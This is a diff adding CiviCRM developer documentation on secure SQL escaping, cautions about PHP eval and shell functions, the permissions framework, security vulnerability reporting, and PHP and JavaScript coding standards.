+  1 => ['%' . $name . '%', 'String'],
+  2 => [$optedOut, 'Integer'],
+]);
+```
+
+This example ensures that variables are safely escaped before being inserted into the query. CiviCRM also allows developers to specify the type of variable that should be allowed. In the case of the `%2` ($optedOut) parameter, only an *Integer* input will be permitted.
+
+The variable types available for this can be found in [CRM_Utils_Type::validate](https://github.com/civicrm/civicrm-core/blob/60050425316acb3726305d1c34908074cde124c7/CRM/Utils/Type.php#L378). The query engine then applies appropriate escaping for the type.
+
+### `CRM_Utils_Type::escape` {:#escape}
+
+In some circumstances you may find that a complex query is easier to build by directly escaping values using the `CRM_Utils_Type::escape()` method. It is prefereable to use the form above or the `CRM_Utils_SQL_Select` format
+
+```php
+$name = CRM_Utils_Type::escape('John Smith', 'String');
+$column = CRM_Utils_Type::escape('civicrm_contact.display_name', 'MysqlColumnNameOrAlias');
+$result = CRM_Core_DAO::executeQuery("SELECT FROM civicrm_contact WHERE $column like '%$name%'");
+```
+
+### `CRM_Utils_SQL_Select`
+
+Since CiviCRM 4.7 version there has been an alternate way of generating SQL -- use `CRM_Utils_SQL_Select`. Compared to plain `CRM_Core_DAO`, it has three advantages:
+
+ * The syntax uses pithy [sigils](https://en.wikipedia.org/wiki/Sigil_(computer_programming)) for escaping strings (`@value`), numbers (`#value`) and literal SQL (`!value`).
+ * The escaping for array-data is transparent (e.g. `field IN (#listOfNumbers)` or `field IN (@listOfStrings)`).
+ * It supports more sophisticated `JOIN`, `GROUP BY`, and `HAVING` clauses.
+ * You can build and combine queries in piecemeal fashion with `fragment()` and `merge()`.
+ * The general style of query-building is fluent.
+
+A typical example might look like this:
+
+```php
+$dao = CRM_Utils_SQL_Select::from('civicrm_contact c')
+  ->join('cm', 'INNER JOIN civicrm_membership cm ON cm.contact_id = c.id')
+  ->where('c.contact_type = @ctype', array(
+    'ctype' => 'Individual',
+  ))
+  ->where('cm.membership_type_id IN (#types)', array(
+    'types' => array(1, 2, 3, 4),
+  ))
+  ->where('!column = @value', array(
+    'column' => CRM_Utils_Type::escape('cm.status_id', 'MysqlColumnNameOrAlias'),
+    'value' => 15,
+  ))
+  ->execute();
+
+while ($dao->fetch()) { ... }
+```
+
+Equivalently, you may pass all parameters as a separate array:
+
+```php
+$dao = CRM_Utils_SQL_Select::from('civicrm_contact c')
+  ->join('cm', 'INNER JOIN civicrm_membership cm ON cm.contact_id = c.id')
+  ->where('c.contact_type = @ctype')
+  ->where('cm.membership_type_id IN (#types)')
+  ->where('!column = @value')
+  ->param(array(
+    'ctype' => 'Individual',
+    'types' => array(1, 2, 3, 4),
+    'column' => CRM_Utils_Type::escape('cm.status_id', 'MysqlColumnNameOrAlias'),
+    'value' => 15,
+  ))
+  ->execute();
+
+while ($dao->fetch()) { ... }
+```
+
+For convenience, you can chain the `execute()` with other DAO functions like `fetchAll()`, `fetchValue()` or `fetchMap()`.
+
+```php
+$records = CRM_Utils_SQL_Select::from('mytable')
+  ->select('...')
+  ->execute()
+  ->fetchAll();
+```
+
+Further information on this method can be found in the [CRM_Utils_SQL_Select class](https://github.com/civicrm/civicrm-core/blob/6db7061/CRM/Utils/SQL/Select.php#L33)
+
+## PHP
+
+PHP functions like `eval()` and [many others](https://stackoverflow.com/questions/3115559/exploitable-php-functions/3697776#3697776) will convert strings stored in PHP variables into executable PHP code. If untrusted inputs ever make their way into such strings, critical [code injection](https://www.owasp.org/index.php/Code_Injection) vulnerabilities can arise. It's best to avoid these functions entirely &mdash; and fortunately modern PHP developers almost never need to use such functions. In the rare event that you find yourself needing to convert a string to PHP code, you must make certain that untrusted data is strictly validated.
+
+
+## Shell commands {:#shell}
+
+Here are some PHP functions which execute shell commands: 
+
+* `exec()`
+* `passthru()`
+* `system()`
+* `shell_exec()`
+* `popen()`
+* `proc_open()`
+* `pcntl_exec()`
+* ``` `` ``` (backticks) 
+
+Using these functions can be very risky! If you're inclided to use one of these functions, it's best to spend some time looking a way to *not* use one of the functions. If you really can't find a way around it, then make sure to use [escapeshellarg](http://php.net/manual/en/function.escapeshellarg.php) (and in some cases [escapeshellcmd](http://php.net/manual/en/function.escapeshellcmd.php)) to properly encode data sent to the shell.
+

docs/security/permissions.md

+# Permissions Framework in CiviCRM
+
+## Introduction
+
+CiviCRM defines a number of entities, screens, APIs, and other resources.  Access to these resources is dictated by *permissions*.  Permissions are ordinarily administered on a screen like this:
+
+<!-- NOTE: This is not a tutorial on user-management - it is just evocation of such a page often looks. -->
+
+![Example: Granting permissions in Drupal](../img/permission-admin.png)
+
+The details of the screen will vary based on the CMS and configuration.  However, in all cases, there is a list of *permissions* (e.g.  `add contacts`, `view all contacts`).  For CiviCRM development,
+our primary concerns are *defining the list of available permissions* and *enforcing those permissions*.
+
+## Examples
+
+CiviCRM defines a large number of permissions (100+ and counting). However, there are a handful of permissions which are frequently referenced by developers and administrators. These
+examples provide a good starting-point to understand permissions generally.
+
+* `administer CiviCRM` - This is a very broad permission and generally speaking is designed to grant access to any administrative parts of CiviCRM.
+* `edit all contacts`, `view all contacts` - This grants access to all contacts within the database for editing purposes.
+* `access all custom data` - This grants the user access to view and edit all the custom data in the system. When viewing data screens ("Edit Contact", "Edit Contribution", etc), this will enable panels for custom data.
+* `access CiviContribute`, `access CiviEvent`, etc - These permissions are for each core module e.g. CiviContribute CiviEvent. Where `X` will be the title of that module. These permissions grant access to those areas of CiviCRM. These permissions will only show up if the modules are enabled.
+
+## Conventions
+
+* Lower-case is preferred.
+* Proper nouns (e.g. "CiviCRM" or "CiviEvent") may be capitalized.
+* Spaces separate words.
+* The `:` indicates an optional namespace for foreign permissions (e.g. `Drupal:administer users`)
+* The `@` prefix indicates an atypical, synthetic permission.
+* Punctuation is otherwise reserved/avoided.
+
+## Checking permissions
+
+To determine if a user has a permission, CiviCRM uses an internal API, `CRM_Core_Permission::check()`.
+
+```php
+if (! CRM_Core_Permission::check('update widgets')) {
+  CRM_Core_Session::setStatus('', ts('Insufficient permission'), 'error');
+}
+```
+
+Under the hood, `check()` delegates to a user-management system (e.g.  Drupal users/roles or WordPress users/roles).
+
+The behavior of `check()` may be modified programmatically via [hook_civicrm_permission_check](../hooks/hook_civicrm_permission_check.md).
+
+The permission that is passed to the check function can be in a few different formats
+
+1. A string, this is a single permission to be checked
+2. An array e.g.`['access CiviCRM', 'access AJAX API']` In this case this means "AND" because its a single layer array. So the user would have to have both permissions
+3. A two dimension array e.g. `[['access CiviCRM', 'access AJAX API'], 'access CiviEvent']` In this example the inner Array means an OR statement i.e the user must have Either Access CiviCRM OR access AJAX API but must also have access CiviEvent permission as that is a separate value within the outer array so is treated as an AND.
+
+## Defining permissions
+
+
+The list of CiviCRM permissions is defined in PHP. It draws upon these key sources:
+
+* __Core Permissions__: Common permissions available on all CiviCRM configurations. See: `CRM_Core_Permissions::getCorePermissions()`.
+* __Component Permissions__: Each component ("CiviEvent", "CiviMail", etc) defines its own list of permissions. See: `CRM_*_Info::getPermissions()`.
+* __Hook Permissions__: Extensions may also define their own permissions. See: [hook_civicrm_permission](../hooks/hook_civicrm_permission.md).
+
+To inspect the full list of defined permissions (regardless of origin), use the `Permission` API (v5.34+):
+
+```
+$ cv api4 Permission.get -T +s name +w 'name like %user%'
++------------------------------------+
+| name                               |
++------------------------------------+
+| edit user-driven message templates |
+| cms:administer users               |
+| Drupal:administer users            |
++------------------------------------+
+```
+
+??? tip "Compare: `hook_civicrm_permission` and `hook_civicrm_permissionList`"
+
+    There are two hooks which influence the list of permissions. They are subtly different:
+
+    * [hook_civicrm_permission](../hooks/hook_civicrm_permission.md): Define new permissions. For example, CiviVolunteer defines the new permission `register to volunteer`.
+      This permission did not exist anywhere until CiviVolunteer defined it.
+    * [hook_civicrm_permissionList](../hooks/hook_civicrm_permissionList.md): Modify the list of permissions presented by `Permission.get`. For example, the permission `Drupal:administer users`
+      originates in Drupal, but we may want to offer it in some CiviCRM configuration screens. It is added to the permission list.
+
+## Enforcing permissions
+
+All permission enforcement boils down to `CRM_Core_Permission::check(...)`. This building-block can be mixed into any kind of logic:
+
+```php
+if (CRM_Core_Permission::check('set custom deadlines') && !empty($form['deadline'])) {
+  $newRecord->deadline = $form['deadline'];
+}
+else {
+  $newRecord->deadline = max(strtotime('+7 days'), Moon::getNextFullMoon());
+}
+```
+
+Permission enforcement is usually more structured. Let's review some conventions used by important subsystems.
+
+### APIv4
+
+In [APIv4](../api/v4/usage.md), each entity and action declares minimum permissions.  These permissions are automatically enforced when receiving an API call via PHP or REST/AJAX.
+
+For most existing entities in `civicrm-core`, the declarations are listed in `CRM_Core_Permission::getEntityActionPermissions()`.  This example declares the minimal permission for `Contact.create` and `Contact.delete`:
+
+```php
+$permissions['contact'] = [
+  'create' => ['access CiviCRM', 'add contacts'],
+  'delete' => ['access CiviCRM', 'delete contacts'],
+];
+```
+
+What about new APIs? By default, new APIs (in an extension or in core) require the permission `administer CiviCRM`. This can be overriden by the new entity:
+
+```php
+namespace Civi\Api4;
+class MyEntity extends \Civi\Api4\Generic\AbstractEntity {
+
+  public static function permissions() {
+    return [
+      'meta' => ['access CiviCRM'],
+      'default' => ['administer CiviCRM'],
+    ];
+  }
+
+}
+```
+
+<!-- WISHLIST: Explain concrete names (create/delete) vs abstract (meta/default) -->
+<!-- WISHLIST: There should be somewhere that explains AND-vs-OR.  -->
+<!-- WISHLIST: Describe civi.api.authorize -->
+
+These declarations describe a *default minimum permission*. There are two common variations:
+
+* _Additional checks_: Within the logic of an API method, one may enforce more nuanced permissions by consulting `CRM_Core_Permission::check(...)`.
+
+* _Toggle enforcement_: When calling APIv4 via PHP, one may optionally disregard permissions. This can be useful if you are building a new wrapper API or server-side form.
+    ```php
+    // Example: Disable API permission checks (array notation)
+    civicrm_api4('MyEntity', 'myAction', ['checkPermissions' => FALSE]);
+
+    // Example: Disable API permission checks (method noation)
+    \Civi\Api4\MyEntity::myAction()->setCheckPermissions(FALSE)->execute();
+
+    // Example: Disable API permission checks (short-hand notation)
+    \Civi\Api4\MyEntity::myAction(0)->execute();
+    ```
+
+Sometimes extension authors want to modify the permissions of an entity that extension authors don't own e.g. Contact,Contribution either on a whole of entity basis or for specific actions. Note for an extension author's own custom entities they should implement the permissions method described abvoe. To do this you need to implement an symfony event listener to listen on the `civi.api.authorize` event. It is recommended that your custom event runs prior to the stndard CiviCRM event.
+
+An implementation may look like this note that this relies on the scan-classes mixin being enabled.
+
+```php
+namespace Civi\Api4\Event\Subscriber;
+
+use Civi\API\Events;
+use Symfony\Component\EventDispatcher\EventSubscriberInterface;
+
+class MyCustomCheckSubscriber extends \Civi\Core\Service\AutoService implements EventSubscriberInterface {
+
+  /**
+   * @return array
+   */
+  public static function getSubscribedEvents() {
+    return [
+      'civi.api.authorize' => [
+        ['onApiAuthorize', 100],
+      ],
+    ];
+  }
+
+  /**
+   * @param \Civi\API\Event\AuthorizeEvent $event
+   *   API authorization event.
+   */
+  public function onApiAuthorize(\Civi\API\Event\AuthorizeEvent $event) {
+    /** @var \Civi\Api4\Generic\AbstractAction $apiRequest */
+    $apiRequest = $event->getApiRequest();
+    if ($apiRequest['version'] == 4) {
+      if ($apiRequest['entity'] === 'Contact' && $apiRequest['action'] === 'mycustomaction') {
+        if (CRM_Core_Permission::check('my custom permission')) {
+          $event->authorize();
+          $event->stopPropagation();
+        }
+      }
+    }
+  }
+
+}
+```
+
+### APIv3
+
+In [APIv3](../api/v3/usage.md), each entity and action is declared with a minimum permission level.  These permissions are automatically enforced when receiving an API call via REST/AJAX.
+
+!!! warning "When called via PHP, APIv3 permissions are *not* enforced. PHP callers may opt-in with the `check_permissions` flag."
+
+As with APIv4, most permissions are declared in `CRM_Core_Permission::getEntityActionPermissions()`.  Again, this example declares the minimal permission for `Contact.create` and `Contact.delete`:
+
+```php
+$permissions['contact'] = [
+  'create' => ['access CiviCRM', 'add contacts'],
+  'delete' => ['access CiviCRM', 'delete contacts'],
+];
+```
+
+What about new APIs? Again, as with APIv4, the default requirement is `administer CiviCRM`. To override this default, you must implement [hook_civicrm_alterAPIPermissions](../hooks/hook_civicrm_alterAPIPermissions.md).
+
+### Routing
+
+*Routes* or *pages* (such as `civicrm/dashboard` and `civicrm/admin`) are declared in XML. You may specify the minimum permission required to open the page (e.g.
+`<access_arguments>administer CiviCRM</access_arguments>`).  For more details, see [Framework: Routing](../framework/routing.md).
+
+### Navigation
+
+[hook_civicrm_navigationMenu](../hooks/hook_civicrm_navigationMenu.md) allows for extension providers to define new menu items and the associated permissions to that menu item.  However this does not
+specifically grant access to the end point just decides whether the menu item or not is visible to the user based on the permissions of that user.
+
+### HTML_QuickForm
+
+Many administrative screens are based on `CRM_Core_Page_Basic` and/or `HTML_QuickForm`. These screens may use some combination of methods:
+
+* `CRM_Core_Page_Basic::getIdAndAction()`
+* `CRM_Core_Page_Basic::checkPermission()`
+* `CRM_Core_Permission::checkActionPermission()`
+
+<!-- I don't really know how to explain these quickly... -->
+
+## Cross-over naming
+
+CiviCRM's permission subsystem integrates with the permission subsystems in Drupal, WordPress, etc.  The integration is fairly deep -- so deep that one may even forget that they are different
+subsystems.  However, differences do exist.  Let's consider some guidelines for when these differences matter.
+
+The differences will *not* matter if you consistently use the same provider to register and test permissions:
+
+| Provider | Register permissions | Test permissions |
+| -- | -- | -- |
+| Civi | `hook_civicrm_permission` | `CRM_Core_Permission::check($perm)` |
+| D7 | `hook_permission` | `user_access($perm)` |
+| WP | `add_cap()` | `current_user_can($perm)` |
+
+The differences may matter if you have a *cross-over use-case* -- such a WordPress module with a guard based on a CiviCRM permission, or a CiviCRM extension with a guard based on CMS
+permission. For cross-over, you may need to modify the permission name. Here are a few examples:
+
+```php
+// Test for CiviCRM's 'edit all contacts'
+CRM_Core_Permission::check('edit all contacts');        // Civi native
+user_access('edit all contacts');                       // D7=>Civi, identical
+current_user_can('edit_all_contacts');                  // WP=>Civi, munged
+
+// Test for permission to manage CMS user
+user_access('administer users');                        // D7 native
+current_user_can('edit_users');                         // WP native
+CRM_Core_Permission::check('Drupal:administer users');  // Civi=>D7, prefix
+CRM_Core_Permission::check('WordPress:edit_users');     // Civi=>WP, prefix
+CRM_Core_Permission::check('cms:administer users');     // Civi=>{$CMS}, dynamic
+```

docs/security/reporting.md

+# Reporting a Security Vulnerability
+
+## Introduction
+
+CiviCRM Core Team and Security Team are responsible for fixing reported security issues within [supported CiviCRM versions](https://civicrm.org/download). Security releases will only be made for those versions with active CiviCRM support, at which point [Security Advisories](https://civicrm.org/advisory) will be issued.
+
+## Release Timing. 
+
+CiviCRM maintains two security release windows, they are the first and third Wednesday of every month US/PDT Timezone. Having a release window doesn't mean that a release will occur, but it does allow for site administrators to be conscious of when there may be a security update.
+
+## Reporting a Security bug
+
+CiviCRM maintains an email address [security@civicrm.org](mailto:security@civicrm.org) as the primary mechanism for reporting security issues. When you report an issue, please include all possible information that would help the Security Team replicate and help solve the issue. Unless you request anonymity, you will be credited for your role in reporting the issue as well as any other roles you take in resolving it.
+
+## Security Policy
+
+CiviCRM has a publicly available [Security Policy](https://civicrm.org/security) which details these points and goes into some further detail around our security practices.

docs/standards/entity.md

+# Entity standards
+
+The following standards apply to entities in CiviCRM:
+
+1. Declare entities via an `.entityType.php` file.
+2. Give each entity a `title`, `title_plural`, `icon` and `description`.
+3. Give each field a `title` and `input_type`.
+4. Whenever possible rely on the `CiviMix\AutomaticUpgrader` to install & uninstall tables without writing any sql.
+
+Further documentation is found in the [CiviCRM Entities](../framework/entities/index.md) chapter.
\ No newline at end of file

docs/standards/index.md

+# Coding standards
+
+The coding standards described here have been written
+[years after the start of the project](http://civicrm.org/blogs/eileen/you-owe-me-3-tests-function-kitchen-sink).
+They describe the most common patterns and best practices for writing
+CiviCRM code, and they seek to answer the question, "what is the proper
+way of doing X?" They cover not only whitespace and appropriate styles
+for writing the code itself but also how to document code at file,
+function, line and other levels.
+
+Developers are encouraged to take these standards as an expression of
+"what we want" more than of "what we have everywhere."  This means that
+if you find yourself working on a piece of code that doesn't follow
+these standards, you are encouraged to re-factor it so that it is.
+The [CiviCRM Mattermost chat](https://chat.civicrm.org) is a good place to come if you have questions or need clarification.
+
+Quite a few blog posts have been written over the years in the
+[architecture series](http://civicrm.org/category/civicrm-blog-categories/architecture-series) the
+oldest one describing the DAO BAO/ Templating and file structures should
+still be on your must read list. Eileen's [post from July 2013](https://civicrm.org/blog/eileen/doing-the-dishes-aka-code-cleanup) is also a
+keeper. Please refer to it as a good overview of how to do things in a
+standards-compliant way 4.3+.
+
+
+## CiviCRM vs Drupal
+
+In general, CiviCRM follows the [Drupal Coding Standards](https://www.drupal.org/docs/develop/standards), but we have some minor modifications which are noted specifically in the other pages in this chapter.
+
+## Continuous integration
+
+[Jenkins](../tools/jenkins.md) will automatically check all pull requests for coding standards conformance, and code which does not meet the standards will not be merged. 
+
+
+## Tools
+
+If you have a development site with [buildkit](../tools/buildkit.md) you can use [Civilint](../tools/civilint.md) to check your code against CiviCRM's coding standards.
+
+You can also [set up your IDE](../tools/phpstorm.md) to lint your code.
+
+
+## Improving code conformance
+
+If you find code that is not meeting the standards, we encourage you to improve it! But please follow these guidelines when doing so: 
+ 
+* Isolate your coding standards improvements into commits which do not contain otherwise unrelated changes.
+
+### Orange Light code
+
+Orange light code is code that has the feel that it is wrong and should be refactored. Developers who are looking to contribute to this effort may want to consider doing any amount self-contained work on the following code. 
+
+* Using joins on `civicrm_option_value` rather than using PseudoConstants - this has performance implications
+* Removing as much as possible passing by reference to functions.
+* Increasing code complexity, this has two issues firstly it increase the fragility of the code and also makes it harder to test
+* Wherever `$session = CRM_Core_Session(); $userid = $session->get('UserID');` or very similar these calls should be replaced with `CRM_Core_Session::singleton()->getLoggedInContactID();`
+* Replace `CRM_Core_Resources->singleton()->add...` and similar with `Civi::resources()->add...`
+* Clean up messy code, see if code can be refactored and/or moved into parent classes. Make parent classes more generic and eliminate any duplicate code.
+* Increase the usage of Doc blocks to help with auto generation of code
+* Move more business logic out of the Forms/API layers to the BAO level wherever possible.
+* Remove eval() instances
+* Develop & confirm standards listed above (incl decide on smarty coding templates, separation of tpl and js)
+* Cleanup and centralize the token code.
+* Code duplication should be addressed - e.g the introduction of a select function in CRM/Report/Form.php around 3.3 made identical functions in child classes obsolete. This is a good task for someone wanting to learn
+* Look at repurposing the coder module to keep CiviCRM tidy
+* Git rid of unused functions
+* Look through the "todo" "fixme" and "hack" comments and see about fixing them
+* Modify code to use the Drupal coding standard of using the PHP keyword const in place of define();
+
+In CiviCRM we aim to compile SQL in the following order of preference
+
+1. API - Predictable, well tested
+3. DAO / BAO - `CRM_Core_DAO()->fetch()` `CRM_Core_DAO->copyValues()`
+2. `CRM_Utils_Select`
+4. Compiled SQL
+
+In CiviCRM we aim to use the APIs as much as possible as they have a solid test framework and a test contract behind them. This means if something is tested through the phpunit tests then it is on CiviCRM's responsiblity to ensure that does not break.
+
+### Deprecation Warnings
+
+The guideline for deprecated functions and practices is to mark them in the code by using one of two functions:
+
+1. CRM_Core_Error::deprecatedWarning(string $message)
+    * A general function for announcing deprecated code practices.
+2. CRM_Core_Error::deprecatedFunctionWarning(string $newMethod, string $oldMethod = NULL)
+    * A more specific function when one function is now replaced by another. Most of the time you just need to give the new replacement method to use and it will output a meaningful and consistent message.
+
+Then after at least 6 months worth of releases the deprecated code becomes a candidate for complete removal.

docs/standards/javascript.md

+# Javascript Reference
+
+## Policy
+
+### Coding standards
+
+Javascript code should follow the same standards as CiviCRM's [PHP coding standards](/standards/php.md). You can use inline tools like [JSHint](http://jshint.com/) to help with the linting of javascript files. If you have buildkit installed JSHint is included as part of [CiviLint](../tools/civilint.md). Adding hints to your code will enable jshint to check the standards: e.g.
+
+Example to tell JSHint Tell jsHint about any globals in use:
+
+```javascript
+/*global CRM, ts */
+```
+
+!!!note "JavaScript Standard"
+   The ES6(2015) standard was adopted as supported for Javascript and it is no longer expected that we support Microsoft Internet Explorer (since that product is no longer supported).
+
+
+### Globals
+
+Declaring a global variable/function is a bad practice in Javascript unless absolutely necessary. Your code should never create globals. In the rare cases that you need to declare variables or functions outside the local scope of your closure, create a namespace within the CRM object
+
+```javascript
+CRM.myStuff = {foo: 'bar'};
+```
+
+!!! note 
+    Due to legacy code written before these standards were adopted, CiviCRM still has quite a few other global variables and functions, they all need to be removed from the global scope. You can help!
+
+CiviCRM Provides two Javascript globals:
+
+* `CRM` - Contains all globally needed variables and functions for CiviCRM. Also contains server-side variables and translations.
+* `ts` - Function for translating strings. Signature is identical to its php counterpart.
+
+### Location
+
+Javascript code should only really be found in three main locations
+
+1. Inline scripts should be included in smarty .tpl template files. This should only be done where its limited to a specific page or form. Inline js must be enclosed in smarty `{literal}` tags.
+2. For any Javascript that acts as utility function, the files should go in the `js/` folder of the `civicrm-core` repo.
+3. AngularJS code that should go in the `ang/` folder.
+
+### Progressive Enhancement
+
+Progressive Enhancement (PE) is a philosophy that the basic functionality of a webpage should not depend on javascript and the site should still be usable if the user has disabled js in their browser. CiviCRM has a 2-part policy regarding this:
+
+* Front-facing pages like contribution pages and event signups should adhere to the standards of PE. All front-end pages should be fully functional with js disabled.
+* Back-end pages (which is most of CiviCRM) do not need to be able to run without javascript. When appropriate, a noscript message can be shown to the user e.g. `<noscript>CiviCRM requires javascript. Please enable javascript in your browser and refresh the page.</noscript>`
+
+## jQuery
+
+CiviCRM includes the latest version of jQuery and a number of jQuery plugins. Because most CMSs also use jQuery, CiviCRM creates its own namespace using the `jQuery.noConflict` method.
+
+As a result, under most circumstances there are two versions of jQuery on the page with the following names:
+
+* `CRM.$` - the version of jQuery included with CiviCRM.
+* `jQuery` - the version of jQuery included with the CMS.
+
+If your script is placed anywhere in the document body, you should access CiviCRM's jQuery using `CRM.$`.
+
+Exception: CiviCRM reserves a space in the document header where `CRM.$ == jQuery` (and the CMSs version has been temporarily renamed `_jQuery`). This allows us to load 3rd party plugins that depend on the name jQuery. You can do so as well by using `CRM_Core_Resources`. See below.
+
+Note: Some CMSs do not add jQuery to the page, in which case the global jQuery would not exist (except within the header as noted above). Don't rely on it.
+
+Note: Yes, 2 copies of jQuery on the same page is inefficient. There is a solution for Drupal 7 to combine them: [civi_jquery](https://www.drupal.org/project/civi_jquery).
+
+## Adding Javascript Files
+
+CiviCRM contains a Resource controller which allows extensions to add in .js files into pages and forms as is needed. This can also be done through any hook implementation as well.
+
+An Example of adding in a file called bar.js from the extension com.example.foo
+
+```php
+Civi::resources()->addScriptFile('com.example.foo', 'bar.js');
+```
+
+You can also use CRM_Core_Resources to add in inline scripts such as the following
+```php
+Civi::resources()->addScript('alert("hello");');
+```
+
+You can also specify other regions of the page to place the script in (the most common reason for this is because jQuery plugins must be added to the "html-header" region). See [Resource Reference](../framework/resources.md) for more details.
+
+## Using CiviCRM Javascript in non CiviCRM pages
+
+If you are working outside the context of CiviCRM pages (e.g. on a Drupal page, WordPress widget, Joomla page, etc) you need to explicitly tell CiviCRM to load its javascript in to the page header. You can add your own scripts as well.
+
+```php
+civicrm_initialize();
+$manager = Civi::resources();
+$manager->addCoreResources();
+$manager->addScriptUrl(WP_PLUGIN_URL . '/myplugin/myscript.js', 1, 'html-header');
+```
+
+Note when your using CiviCRM's resource manager to add scripts to non civicrm pages they need to be put as region 'html-header' because CiviCRM has no control over any of the other regions in non-civicrm pages.
+
+## Enclosing your code
+
+In Javacript all code needs to be closures to create the variable scope. Without closures, all variables would be global and there would be a significant risk of name collisions.
+
+The simplest closure you could write would be:
+
+```javascript
+CRM.$(function($) {
+  // your code here
+});
+```
+Remember that `CRM.$` is our alias of jQuery. So the first line is shorthand notation for `CRM.$('document').ready(function($) {`
+The function receives jQuery as it's param, so now we have access to jQuery as the familiar `$` for use in our code.
+
+If your code needs to work across multiple versions of CiviCRM, where jQuery was the older cj as well as the current CRM.$ you can use:
+
+```javascript
+(function($) {
+  // your code here
+})(CRM.$ || cj);
+```
+
+For more examples you can take a look at a [gist](https://gist.github.com/totten/9591b10d4bc09c78108d) from Tim Otten on javascript alternatives. For more information on javascript closures, [here is some further reading](http://www.adequatelygood.com/2010/3/JavaScript-Module-Pattern-In-Depth).
+
+## Accessing CiviCRM API from JS
+
+If the current user has sufficient permissions (usually "Access CiviCRM") then your script can call the api and accomplish almost anything in CiviCRM. The syntax is:
+
+```javascript
+CRM.api('entity', 'action', {params}, {success: function});
+```
+For more details, see [AJAX API](../api/v3/interfaces.md#ajax-interface) docs.
+
+## Server-Side Variables
+
+Just as you can dynamically add scripts to the page you can also add variables. They will be added to the CRM object in JSON format. Because this object is shared by many CiviCRM components, you should choose a unique namespace (typically the name of your extension). Example:
+
+```php
+// On the Server:
+Civi::resources()->addVars('myNamespace', array('foo' => 'bar'));
+```
+
+```javascript
+// In the JS file or inline script
+CRM.alert(CRM.vars.myNamespace.foo); // Alerts "bar"
+```
+
+## Localization
+
+As with PHP coding, any string that will be displayed to the user should be wrapped in `ts()` to translate the string. e.g. `ts('hello')`.
+
+When your script file is being added to the page by `CRM_Core_Resources` it will be automatically scanned for all strings enclosed in `ts()` and their translations will be added as client-side variables. The javascript `ts()` function will use these localized strings. It can also perform variable substitution. See example below.
+
+!!! note
+
+    Because translated strings are added to the client-side by `CRM_Core_Resources::addScriptFile` method, they will not be automatically added if you include your js on the page any other way. The `ts()` function will still work and perform variable substitution, but the localized string will not be available. There are 3 solutions to this problem depending on your context:
+    
+    1. If this is an inline script in a smarty template, use the `{ts}` function (see legacy issues below for an example). Note that `{ts}` cannot handle client-side variable substitution, only server-side template variables.
+    2. If this is an inline script in a php file, use the php `ts()` function to do your translation and concatenate the result into your script. Or, if you need client-side variable substitution use the 3rd solution:
+    3. If this is a javascript file being added to the page in a nonstandard way (or is one of the above two scenarios but you need client-side variable substitution), you could manually add any needed strings using the `CRM_Core_Resources::addString` method
+
+## UI Elements
+
+CiviCRM ships with a number of UI widgets and plugins to create standardized "look and feel" More information can be found in [UI Elements Reference](../framework/ui.md).
+
+## Automated testing
+
+CiviCRM's testing regimen includes:
+
+ * (Linting) [JSHint](#coding-standards)
+ * (Unit testing) [Karma and Jasmine](../testing/karma.md)
+ <!-- * (End-to-end testing, for AngularJS) [Protractor and Jasmine](/testing/protractor.md) -->
+ * (Deprecated; end-to-end testing) [QUnit](../testing/qunit.md)
+
+## Javascript in Markup
+
+Putting javascript code directly into html tags is deprecated. We are migrating our existing code away from this practice.
+
+```html
+<a href="#" onclick="someGlobalFunction(); return false;">Click Here</a>
+<script type="text/javascript">
+  function someGlobalFunction() {
+    // code goes here
+  }
+</script>
+```
+
+The above example has several disadvantages:
+
+- It relies on a global function.
+- It doesn't allow for separation of concerns between the presentation layer (html) and the business logic (js code).
+
+```js
+CRM.$(function($) {
+  $('a.my-selector').on('click', function() {
+    // code goes here
+  });
+});
+```
+
+!!! note
+    Sometimes you want to add a handler to an element that does not exist yet in the markup (or might be replaced), like each row in a datatable. For that use the delegation provided by jQuery's "on" method and attach the handler to some outer container that is going to be there more permanently.
+
+## ClientSide MVC
+
+In the past, PHP-based webapps like CiviCRM have treated javascript as little more than an extension of css. But increasingly they are realizing the potential of Javascript to handle business logic. Javascript can be used to create robust, responsive, user-friendly webapps. But with this complexity comes the need for structure. While CiviCRM has not officially adopted a clientside MVC framework, version 4.3 includes a new UI for editing profiles which was built using Underscore, Backbone and Marionette. And 4.5 includes a new case-configuration interface built on Angular. In 4.6 CiviMail User Interface was re-written in Angular.
+
+More detail can be found in the [Angular reference documents](../framework/angular/index.md)

docs/standards/php.md

+# PHP Coding Standards
+
+CiviCRM uses the [Drupal Coding Standards](https://www.drupal.org/docs/develop/standards) as a basis for the coding standards used in civicrm-core code and in civicrm-drupal code.
+The standards are version-independent and all new code should follow the current standards regardless of version. 
+
+## Brief example
+
+```php
+/**
+ * The example class demonstrates Drupal/Civi code convention.
+ */
+class CRM_Coding_Example implements CRM_Coding_ExampleInterface {
+
+  /**
+   * Increase the size of a file exponentially.
+   *
+   * @param string $file
+   *   The full file path. (Ex: '/tmp/myfile.txt')
+   * @param int $power
+   *   The number of times to double the size.
+   * @return bool
+   *   Whether the operation succeeded.
+   */
+  public function expandFile(string $file, int $power): bool {
+    // Comments start with a capital letter and end with punctuation.
+    $keyValuePairs = [
+      'first' => 1,
+      'second' => 2,
+    ];
+
+    if ($power < 4) {
+      echo ts('You got it, boss.');
+    }
+    else {
+      echo ts("Whoa, that's gonna be a big file!");
+    }
+
+    for ($i = 0; $i < $power; $i++) {
+      $oldContent = file_get_contents($file);
+      if (file_put_contents($file, $oldContent . $oldContent) === FALSE) {
+        return FALSE;
+      }
+    }
+
+    return TRUE;
+  }
+
+}
+```
+
+For more details, see [the full series of example snippets](https://www.drupal.org/docs/develop/standards/coding-standards) from `drupal.org`.
+
+## Deviations from the Drupal Coding Standards {:#vs-drupal}
+
+There are two deviations from the Drupal Coding standards that apply in CiviCRM.
+
+### Functions and variable names
+
+**Drupal Standard**
+
+> Functions and variables should be named using lowercase, and words should be separated with an underscore.
+
+**CiviCRM Standard**
+
+For existing code/files/functions, err on the side of preserving compatibility.
+
+For new procedural code (eg `api/v3/*.php`), use lowercase and underscores.
+ 
+For new object-oriented code:
+
+1. For DAO properties, use underscores. (These correspond to the DB schema - which uses underscores.)
+2. For everything else, use camelCase. [See Forum Discussion](http://forum.civicrm.org/index.php/topic,35519.0.html)
+
+**Rationale for Change**
+
+The codebase includes many examples of both "lowerCamelCase" and "snake_case" for function and variable names. Changing these can be quite difficult and can break interfaces consumed by downstream.
+
+
+### Classes and interfaces
+
+**Drupal Standard**
+
+> Classes and interfaces in Drupal take one of two forms:
+> 
+> * (Common in Drupal 7) Place classes in the root/global namespace and use "UpperCamel" names (e.g. `FooBarWhiz`)
